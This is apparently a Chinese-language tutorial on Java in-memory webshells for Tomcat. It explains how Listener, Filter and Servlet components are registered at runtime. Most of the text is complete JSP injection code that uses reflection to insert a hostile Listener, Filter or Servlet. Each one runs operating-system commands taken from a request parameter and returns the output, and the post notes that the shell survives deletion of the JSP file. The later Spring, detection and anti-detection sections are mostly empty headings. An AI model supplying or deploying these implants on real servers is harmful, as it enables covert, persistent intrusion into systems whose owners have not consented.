文章目录
- 内存马的分类
- 内存马的实现
- 利用Java Web组件
- Listener型
- Filter型
- Servlet型
- SpringMVC Controller型
- 1、获得当前代码运行时的上下文环境
- 2、手动注册 Controller
- 3、Controller 中的 Webshell 逻辑
- SpringMVC Interceptor型
- Instrument内存马
- 内存马的检测
- 基于Instrument的Agent检测
- RASP 运行时防护
- 内存马的反检测
- 参考
内存马的分类
- 利用Java Web组件(Servlet、Filter、Listener)
动态地创建Servlet、Filter或者Listener,解析请求参数,实现任意代码执行。在Spring框架利用Controller,Interceptor等组件也是类似的机制。
- 修改字节码
利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。
内存马的实现
利用Java Web组件
利用Servlet、Filter、Listener实现内存马,我们需要两个条件,一是动态创建对象,二是能将创建的对象注册到HTTP的处理流中生效。
在Servlet3.0中,ServletContext提供了动态创建Servlet、Filter、Listener的方法:
public interface ServletContext {
...
FilterRegistration.Dynamic addFilter(String filterName,String className);
FilterRegistration.Dynamic addFilter(String filterName,Filter filter);
FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass);
Dynamic addServlet(String var1, String var2);
Dynamic addServlet(String var1, Servlet var2);
Dynamic addServlet(String var1, Class<? extends Servlet> var2);
void addListener(String var1);
<T extends EventListener> void addListener(T var1);
void addListener(Class<? extends EventListener> var1);
}
下面的编码和测试均在Tomcat 8.5.39环境下进行。
Listener型
Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。
正常的自定义Listener的流程:
(1) 自定义Listener类;
(2) 在web.xml中注册该Listener类。
代码如下:
ListenerDemo2.java
package me.mole.listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletResponse;
//实现ServletRequestListener接口,监听http请求事件
public class ListenerDemo2 implements ServletRequestListener {
private HttpServletResponse response;
/**
* 如果按照正常的注册流程去注册的话,
* 自定义的Listener需要有无参构造方法.
* 否则tomcat启动会报错.
*/
public ListenerDemo2() {
System.out.println("ListenerDemo2() called...");
}
public ListenerDemo2(HttpServletResponse response) {
System.out.println("ListenerDemo2(HttpServletResponse resp) called...");
this.response = response;
}
@Override
public void requestDestroyed(ServletRequestEvent sret) {
System.out.println("ListenerDemo2 requestDestroyed");
}
@Override
public void requestInitialized(ServletRequestEvent sret) {
System.out.println("ListenerDemo2 requestInitialized");
}
}
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<listener>
<listener-class>me.mole.listener.ListenerDemo2</listener-class>
</listener>
</web-app>
ServletRequestListener 用于监听 ServletRequest 对象的创建和销毁。注册 ServletRequestListener 后,每次请求发生时都会调用 requestInitialized() 方法。而我们可以从requestInitialized()方法的参数ServletRequestEvent中获取本次请求的ServletRequest对象。所以我们可以在requestInitialized()方法中添加恶意代码。
另外,由于我们默认无法在ServletRequestListener中获取HttpServletResponse对象,如果我们想要得到命令执行的回显,我们需要在实现ServletRequestListener的自定义类中定义一个自定义构造函数,并将HttpServletResponse作为参数传递给它。
关键是将我们的自定义侦听器添加到 Tomcat。
首先在 ServletContext 中有一个 addListener(T) 方法,实际上我们从 request.getServletContext() 得到的是ApplicationContextFacade ,它实现了 ServletContext 。通过查看 ApplicationContextFacade 中的源代码,我们可以看到它的底层调用堆栈如下所示。
ApplicationContextFacade#addListener(T)
->ApplicationContext#addListener(T)
->StandardContext#addApplicationEventListener(T)
如果我们使用 ApplicationContextFacade#addListener(T) 直接添加我们的监听器,是不会起作用的。因为ApplicationContext#addListener(T)方法会检查当前上下文的状态,如果它是Tomcat生命周期的准备启动阶段,否则会抛出IllegalStateException。源码如下:
在渗透测试过程中,我们通常通过文件上传功能、操作系统命令注入、远程代码执行漏洞等方式将我们的webshell上传到目标服务器。但是所有这些情况都发生在目标 Web 服务器运行期间, this.context.getState() 不会等于 LifecycleState.STARING_PREP 。
所以我们应该调用 StandardContext#addApplicationEventListener(T) 来实现内存级别的 Webshell的注入。
通过动态调试我们可以清楚的看到ApplicationContextFacade和StandardContext的关系:
由于ApplicationContextFacade中的成员变量context是私有的,而ApplicationContext中的成员变量context也是私有的,所以我们应该使用反射机制。
所以我们的Listener型内存马注入的代码如下:
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
基于Tomcat的Listener型内存Webshell
--%>
<%!
public class ListenerDemo implements ServletRequestListener {
private HttpServletResponse response;
public ListenerDemo(HttpServletResponse response) {
this.response = response;
}
@Override
public void requestDestroyed(ServletRequestEvent sret) {
System.out.println("requestDestroyed");
}
@Override
public void requestInitialized(ServletRequestEvent sret) {
try {
System.out.println("requestInitialized");
ServletRequest request = sret.getServletRequest();
ServletOutputStream out = this.response.getOutputStream();
String cmds = request.getParameter("listenerinjt");
if (cmds != null) {
InputStream in = Runtime.getRuntime().exec(cmds.split(" ")).getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String line = null;
while((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
if (sb.length() > 0) {
out.print("<pre>");
out.write(sb.toString().getBytes());
out.print("</pre>");
out.flush();
out.close();
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade appCtxFacade = (ApplicationContextFacade)servletContext;
Field appCtxField = ApplicationContextFacade.class.getDeclaredField("context");
appCtxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)appCtxField.get(appCtxFacade);
Field stdCtxField = ApplicationContext.class.getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext stdCtx = (StandardContext)stdCtxField.get(appCtx);
stdCtx.addApplicationEventListener(new ListenerDemo(response));
out.println("injected!");
%>
即使我们删除了jsp webshell文件,没关系,我们仍然可以访问webshell。
Filter型
过滤器可对资源的请求(servlet或静态内容),或对资源的响应执行过滤任务,或者两者都执行。过滤器在doFilter方法中执行过滤。
正常的自定义Filter的流程:
(1) 自定义Filter类;
(2) 在web.xml中注册该Listener类。
代码如下:
FilterDemo.java
package me.mole.filter;
import javax.servlet.*;
import java.io.IOException;
//自定义Filter示例
public class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("me.mole.filter.FilterDemo Filter init...");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {
System.out.println("me.mole.filter.FilterDemo Filter doFilter...");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
System.out.println("me.mole.filter.FilterDemo Filter destroy...");
}
}
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filterdemo</filter-name>
<filter-class>me.mole.filter.FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterdemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
这里我们每个请求都会触发FilterDemo#doFilter()方法,这里下断:
查看 StandardWrapperValue#invoke():
那么 filterChain 是如何分配的呢?继续跟踪代码,您可以看到 filterChain 是由 ApplicationFilterFactory#createFilterChain() 动态创建的。
继续查看 ApplicationFilterFactory#createFilterChain() 的代码。我们可以看到 createFilterChain() 方法会根据 web.xml 文件中的设置创建一个过滤器链。然后,检查每个Filter的 urlPatterns 是否与请求的 url 匹配。如果是,则通过 context.findFilterConfig(String filterName) 获取ApplicationFilterConfig,并通过filterChain.addFilter() 添加ApplicationFilterConfig 到ApplicationFilterChain中。
如上面的代码所示,所有的过滤器信息都是通过 context.findFilterMaps() 获得的,FilterMap 对象包含了Filter的所有信息,包括filterName和 urlPatterns。
ApplicationFileConfig 的结构如下图所示:
最后,回到 StandardWrapperValue#invoke() ,filterChain 开始执行每个Filter的doFilter()方法。
因此,以下三个步骤用于动态创建自定义Filter,您可以通过 StandardContext 实现它:
(1) 添加自定义 filterDef ,然后重新生成 filterConfig ;
(2) 添加一个 filterMap ;
(3) 将 filterMap 移动到 数组filterMaps 的索引 0
处。(可选的)
因此,Filter型内存马注入的代码如下:
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
基于Tomcat的Filter型内存Webshell
--%>
<%!
public class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
throws IOException, ServletException {
try {
ServletOutputStream out = response.getOutputStream();
String cmds = request.getParameter("filterinjt");
if (cmds != null) {
InputStream in = Runtime.getRuntime().exec(cmds.split(" ")).getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String line = null;
while((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
if (sb.length() > 0) {
out.print("<pre>");
out.write(sb.toString().getBytes());
out.print("</pre>");
out.flush();
out.close();
}
}
} catch (Exception e) {
e.printStackTrace();
}
filterChain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade appCtxFacade = (ApplicationContextFacade)servletContext;
Field appCtxField = ApplicationContextFacade.class.getDeclaredField("context");
appCtxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)appCtxField.get(appCtxFacade);
Field stdCtxField = ApplicationContext.class.getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext stdCtx = (StandardContext)stdCtxField.get(appCtx);
//1. 添加filterDef
FilterDemo filterDemo = new FilterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilterClass("FilterDemo");
filterDef.setFilterName(filterDemo.getClass().getName());
filterDef.setFilter(filterDemo);
stdCtx.addFilterDef(filterDef);
//根据filterDefs重新生成filterConfig
stdCtx.filterStart();
//2. 添加filterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterDemo.getClass().getName());
filterMap.setDispatcher("REQUEST");
filterMap.addURLPattern("/*");
stdCtx.addFilterMap(filterMap);
//3. 将自定义filter移动到filterMaps数组的第0位置
// [这步非必要,只是为了提高filterChain的处理顺序],
FilterMap[] filterMaps = stdCtx.findFilterMaps();
FilterMap[] tmpFilterMaps = new FilterMap[filterMaps.length];
int idx = 1;
for (int i = 0; i < filterMaps.length; i++) {
FilterMap tmpFilter = filterMaps[i];
if (tmpFilter.getFilterName().equalsIgnoreCase(filterDemo.getClass().getName())) {
tmpFilterMaps[0] = tmpFilter;
} else {
tmpFilterMaps[idx++] = tmpFilter;
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
out.println("injected!");
%>
即使我们删除了jsp webshell文件,没关系,我们仍然可以访问webshell。
Servlet型
Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。
正常的定义Servlet的流程:
(1) 自定义Servlet类;
(2) 在web.xml中注册该Servlet类。
代码如下:
ServletDemo.java
package me.mole.servlet;
import javax.servlet.GenericServlet;
import javax.servlet.Servlet;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
//自定义Servlet示例
public class ServletDemo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
System.out.println("me.mole.servlet.ServletDemo doGet...");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>servletdemo</servlet-name>
<servlet-class>me.mole.servlet.ServletDemo</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>servletdemo</servlet-name>
<url-pattern>/servlet/servletdemo</url-pattern>
</servlet-mapping>
</web-app>
来看看加载自定义 Servlet 后 StandardContext 的变化。
如StandardContext的结构所示,它的成员 children,它是一个HashMap对象,每一项的值都是一个 StandardWrapper 对象。StandardWrapper用于装饰 Servlet 对象。
而另一个成员 servletMappings 也是一个HashMap对象,其中的每一项包含 url 和 servlet 之间的映射关系。
综上,以下三个步骤用于动态创建自定义 Servlet,您可以通过 StandardContext 实现它:
(1) 创建一个自定义的 Servlet 类;
(2) 创建一个 StandardWrapper 类,并用它来装饰 Servlet ;
(3) 将 StandardWrapper 对象添加到 StandardContext对象的成员属性children中 ;
(4) 将自定义的Servlet对象与url的映射关系添加到StandardContext中。
因此,Servlet型内存马的注入代码如下:
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%--
基于Tomcat的Servlet型内存Webshell
--%>
<%!
public class ServletDemo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
ServletOutputStream out = resp.getOutputStream();
String cmds = req.getParameter("servletinjt");
if (cmds != null) {
InputStream in = Runtime.getRuntime().exec(cmds.split(" ")).getInputStream();
StringBuilder sb = new StringBuilder();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String line = null;
while((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
if (sb.length() > 0) {
out.print("<pre>");
out.write(sb.toString().getBytes());
out.print("</pre>");
out.flush();
out.close();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade appCtxFacade = (ApplicationContextFacade)servletContext;
Field appCtxField = ApplicationContextFacade.class.getDeclaredField("context");
appCtxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)appCtxField.get(appCtxFacade);
Field stdCtxField = ApplicationContext.class.getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext stdCtx = (StandardContext)stdCtxField.get(appCtx);
ServletDemo servletDemo = new ServletDemo();
StandardWrapper stdWrapper = new StandardWrapper();
stdWrapper.setServletName("ServletDemo");
stdWrapper.setServlet(servletDemo);
stdWrapper.setServletClass(servletDemo.getClass().getName());
stdCtx.addChild(stdWrapper);
stdCtx.addServletMappingDecoded("/servletmem/*", "ServletDemo");;
out.println("injected!");
%>
Java Web三大组件的加载顺序是:
Listener -> Filter-> Servlet
由于篇幅问题,剩余的内容另起文章记录。
SpringMVC Controller型
1、获得当前代码运行时的上下文环境
2、手动注册 Controller
3、Controller 中的 Webshell 逻辑
SpringMVC Interceptor型
Instrument内存马
内存马的检测
基于Instrument的Agent检测
RASP 运行时防护
Java中,RASP也是利用JVM的Instrument技术,在指定关键类的特定方法处进行hook。因此RASP能够感知内存马在内存中执行的一系列操作。
内存马的反检测